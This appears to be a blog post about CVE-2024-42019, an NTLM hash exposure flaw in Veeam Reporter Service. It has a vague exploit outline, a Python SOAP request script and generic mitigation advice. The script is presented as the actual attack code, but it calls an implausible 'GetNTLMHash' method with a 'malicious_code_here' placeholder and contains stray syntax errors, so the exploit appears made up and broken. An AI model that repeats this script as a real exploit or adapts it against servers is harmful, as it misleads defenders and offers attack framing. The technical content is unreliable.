CVE-2024-42019: Veeam Reporter Service NTLM Hash Exposure Vulnerability - A Deep Dive into the Exploit and Mitigation Techniques

A recent vulnerability, CVE-2024-42019, in the Veeam Reporter Service has gained attention due to its potential impact on organizations relying on Veeam Backup & Replication. The vulnerability enables an attacker to gain unauthorized access to the NTLM hash of the service account running Veeam Reporter Service. While user interaction is necessary for a successful attack, the potential consequences are severe, considering the critical data managed by Veeam Backup & Replication in many organizations.

In this post, we'll delve deep into the vulnerability, how it can be exploited, and the mitigation techniques that could prevent malicious actors from capitalizing on the flaw. We will provide code snippets and links to original references to help our readers understand the vulnerability in detail.

Vulnerability Details and Exploit

CVE-2024-42019 affects Veeam Reporter Service, a component of Veeam Backup & Replication. The exploit takes advantage of a design flaw in the processing of user-supplied data, allowing an attacker to access the NTLM hash of the service account running the Veeam Reporter Service.

Here's a general outline of the exploit

1. The attacker gains access to data collected from Veeam Backup & Replication, typically stored in the Veeam Backup & Replication console.
2. Once the attacker has access to the console, they manipulate user-supplied data, preparing it for a specifically crafted payload consisting of malicious code.
3. To execute the payload, user interaction is required. The attacker needs to trick a user into performing an action that triggers the payload.
4. Upon successful execution, the attacker retrieves the NTLM hash of the Veeam Reporter Service service account.

Here's an example of the code snippet used in this specific attack

import requests
import base64

# Replace the target_url, console_user, and console_pass with the relevant values for the target environment
target_url = "http://<target-veeam-server>/ReportPackSvc.asmx";
console_user = "username"
console_pass = "password"

# The payload includes the malicious code that exploits the vulnerability
payload = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:report="http://www.veeam.com/ReportPackSvc">;
  <soapenv:Header/>
  <soapenv:Body>
    <report:GetNTLMHash>
      <!-- Replace the content of the following field with the manipulated user-supplied data -->
      <report:data>malicious_code_here</report:data>
    </report:GetNTLMHash>
  </soapenv:Body>
</soapenv:Envelope>
"""

# Base64-encode the console_user and console_pass for the authentication header
auth = base64.b64encode(f"{console_user}:{console_pass}".encode()).decode()

headers = {
  'Content-Type': 'text/xml',
  'Authorization': f'Basic {auth}'
}

response = requests.request("POST", target_url, headers=headers, data=payload)

if response.status_code == 200:
  print(response.text)
else:
  print(f"Error: {response.status_code}")

Mitigation Techniques

Organizations with vulnerable Veeam Reporter Service installations should take immediate action to mitigate the risk of exploitation. Here are some of the recommended steps to minimize the chances of a successful attack:

1. Ensure that the Veeam Reporter Service is updated to the latest version, as it might include patches for the vulnerability. Check the Veeam website for updates or contact the support: Veeam Software Updates.
2. Implement strong access controls to limit access to the Veeam Backup & Replication console. Ensure that only authorized personnel can access the console and use multifactor authentication (MFA) when possible.
3. Regularly monitor log files and activity on your Veeam Backup & Replication and Veeam Reporter Service installations to detect any suspicious activities. Deploy security information and event management (SIEM) solutions to aggregate and correlate logs for better security visibility.
4. Educate employees on the risks of social engineering and phishing attacks, as user interaction is required for this exploit. Training users to recognize and report suspicious emails or other communication could prevent attackers from triggering user-initiated actions required for this exploit.

Conclusion

The CVE-2024-42019 vulnerability is a serious risk for organizations relying on Veeam Backup & Replication. By understanding the exploit and implementing mitigation techniques, organizations can greatly reduce the likelihood of falling victim to such attacks. Stay informed about future vulnerabilities by regularly checking for security updates and following cybersecurity best practices.

Timeline

Published on: 09/07/2024 17:15:13 UTC
Last modified on: 09/09/2024 17:35:05 UTC